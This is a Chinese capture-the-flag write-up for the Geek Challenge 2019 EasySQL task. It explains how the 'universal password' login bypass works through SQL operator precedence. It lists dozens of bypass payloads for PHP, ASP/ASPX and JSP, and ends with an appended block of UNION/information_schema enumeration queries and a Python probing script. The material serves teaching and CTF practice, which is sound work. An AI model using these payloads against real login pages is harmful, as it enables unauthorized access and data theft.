【WEB】[极客大挑战2019]EasySQL WP

本文通过极客大挑战2019的EasySQL题目,介绍了SQL注入中的万能密码原理。讲解了当网站后台未过滤单引号时,如何利用万能密码进行SQL注入,包括万能密码的逻辑运算符优先级和多种表现形式。同时列举了PHP、ASP/ASPX和JSP环境下的万能密码示例。

0X0000000000000001 审题初始界面

其实由题目可以知道这是道SQL注入,然后看到登录,首先尝试万能密码:

admin’ or ‘1’='1(红色部分为切入点,其他随意)    这道题的username随便

Got it

如名字所说,这是一道很ez的SQL注入
通过这道题,我们来延伸一下其他东西

0X0000000000000002 关于万能密码

为什么在注入的时候输入万能密码就可以进入呢,对于所有万能密码,都是”万能“的吗?
那么首先,让我们清楚

SQL注入-万能密码的注入原理

  • 0_用户进行用户名和密码验证时,网站需要查询数据库,查询数据库就是执行SQL语句
//用户登陆时,后台执行的数据库查询操作
Select user_id,user_type,email From users Where user_id='用户名' And password='密码' 
  • 1_网站后台在进行数据库查询的时候没有对单引号)进行过滤,当输入用户名和万能密码【2 'or '1】的时候:
Select user_id,user_type,email From users Where user_id='admin' And password='2' or '1'
  • 2_SQL语句中逻辑运算符具有优先级

利用万能的互联网,优先级从上往下,由
:=     对变量赋值
||, OR, XOR     管道符(将前面语句作为条件,执行符号后面的语句),或(条件满足其一即返回值),异或(str1与str2比较,相同为0,不同为1)
&&, AND
NOT    否定之后的所有条件
BETWEEN, CASE, WHEN, THEN, ELSE
=, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN
|
&
<, >>
-, +
*, /, DIV, %, MOD
^
- (一元减号), ~ (一元比特反转)
!
BINARY, COLLATE

由于这些优先级,SQL语句在后台解析的时候:

Select user_id,user_type,email From users Where user_id='admin' And password='2' 和'1'

两句bool进行逻辑or运算,恒为TRUE.

了解了原理过后,万能密码又有哪些呢

万能密码归纳

php:

‘or 1=1/*
"or “a”="a
“or 1=1–
“or”=”
“or”="a’=‘a
“or1=1–
“or=or”
'‘or’=‘or’
‘) or (‘a’=‘a
‘.).or.(’.a.’=’.a
'or 1=1
'or 1=1–
'or 1=1/*
'or”="a’=‘a
‘or’ ‘1’=‘1’
‘or’’=’
‘or’’=’‘or’’=’
‘or’=‘1’
‘or’=‘or’
'or.‘a.’='a
‘or1=1–
1’or’1’=‘1
a’or’ 1=1–
a’or’1=1–
or ‘a’=‘a’
or 1=1–
or1=1–

asp aspx:

"or “a”="a
‘.).or.(’.a.’=’.a
or 1=1–
‘or 1=1–
a’or’ 1=1–
"or 1=1–
‘or.‘a.’=‘a
“or”="a’=‘a
‘or’’=’
or’=‘or’

jsp :

1’or’1’=‘1
admin’ or 1=1/*

  • 补充:

网上还看到师傅用sqlmap一把梭,我不是很会用sqlmap
点击跳转——>

给定引用中未包含极客挑战2019 easysql 2的相关内容,不过可以依据一般SQL注入题目的题思路来推测其可能的题步骤。 通常对于SQL注入题目,首先要判断注入点和闭合方式。可以尝试输入一些特殊字符,如单引号 `'`、双引号 `"`、括号 `()` 等,观察页面的响应变化。若输入特殊字符后页面报错,可能存在注入点,并且能根据报错信息判断闭合方式。就像在某些题目中输入 `1'`,与原本的单引号形成 `1''`,数据库会将其处理成 `1'` 的字符串,从而影响SQL语句的正常闭合和执行 [^3]。 判断出闭合方式后,接着要判断数据库类型和版本。可以使用一些数据库特定的函数和语句,如 `version()` 获取数据库版本,`database()` 获取当前数据库名。 之后是爆库、爆表和爆列。爆库可以使用类似 `union select 1,2,group_concat(schema_name) from information_schema.schemata` 的语句;爆表则是在确定数据库名后,用 `union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'`;爆列就是在确定表名后,用 `union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'`,如同在 [极客挑战 2019]LoveSQL1 中爆 `l0ve1ysq1` 表的列一样 [^1]。 最后,获取所需数据,即根据前面爆出来的列名,使用 `union select 列1,列2,... from 表名` 来获取具体的数据,可能就是题目要求的 flag。 以下是一个简单的Python脚本示例,用于尝试注入: ```python import requests url = "http://example.com" # 替换为实际的题目URL payloads = ["1'", "1\"", "1')", "1\")"] for payload in payloads: data = { "username": payload, "password": "123" # 可根据实际情况修改 } response = requests.post(url, data=data) if "error" in response.text.lower(): print(f"可能的注入点和闭合方式:{payload}") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值